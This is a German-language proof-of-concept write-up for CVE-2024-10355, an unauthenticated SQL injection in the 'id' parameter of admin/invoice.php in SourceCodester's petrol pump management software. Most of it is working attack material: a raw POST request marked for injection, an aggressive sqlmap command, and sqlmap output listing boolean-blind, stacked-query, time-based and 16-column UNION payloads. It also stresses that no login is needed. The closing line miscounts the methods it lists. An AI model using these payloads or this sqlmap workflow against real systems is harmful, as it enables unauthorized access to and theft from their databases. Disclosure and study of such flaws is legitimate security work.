
Reproduktion und Analyse von CVE-2024-10355, eine nicht authentifizierte SQL-Injection-Schwachstelle in SourceCodester Petrol Pump Management Software, mit Proof-of-Concept-Payloads und Ausnutzungsschritten.
Kostenloser Download der Software zur Tankstellenverwaltung | SourceCodester
SQL-Injection-Schwachstelle in der Software zur Tankstellenverwaltung v1.0 von sourcecodester. Es wurde eine als hohes Risiko eingestufte Schwachstelle gefunden, die eine unbekannte Funktionalität der Datei admin\invoice.php betrifft. Dabei wird der Parameter 'id' verwendet, um bösartige SQL-Anweisungen zu konstruieren, um sensible Informationen zu erlangen und so Schaden zu verursachen.
admin\invoice.php

Hier wird die Benutzereingabe $_POST['id'] direkt in die SQL-Abfrage eingefügt, was offensichtlich anfällig für SQL-Injection-Angriffe ist.

POST /admin/invoice.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
id=1*
Paket speichern und sqlmap-Angriff durchführen
python3 sqlmap.py --random-agent -r data.txt --risk 3 --batch

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-6094' OR 1911=1911 AND 'hAoG'='hAoG
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1041 FROM (SELECT(SLEEP(5)))UTeR) AND 'HnhT'='HnhT
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626b71,0x6b57657774656652476e4d594f6959545363546f73424a4c547364484a4d47696247447769514653,0x71766b6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Betrachtet man das Paket, wurde kein Cookie-Wert hinzugefügt, was darauf hindeutet, dass keine Authentifizierung erforderlich ist und man sich nicht anmelden muss, um Angriffe aus der Ferne zu starten.
Man kann sehen, dass dieser Payload zwei Injektionsmethoden nutzt: zeitbasierte Blind-, boolesche Blind-, gestapelte Abfragen und UNION-Abfrage, und erfolgreich den Datenbanknamen injiziert.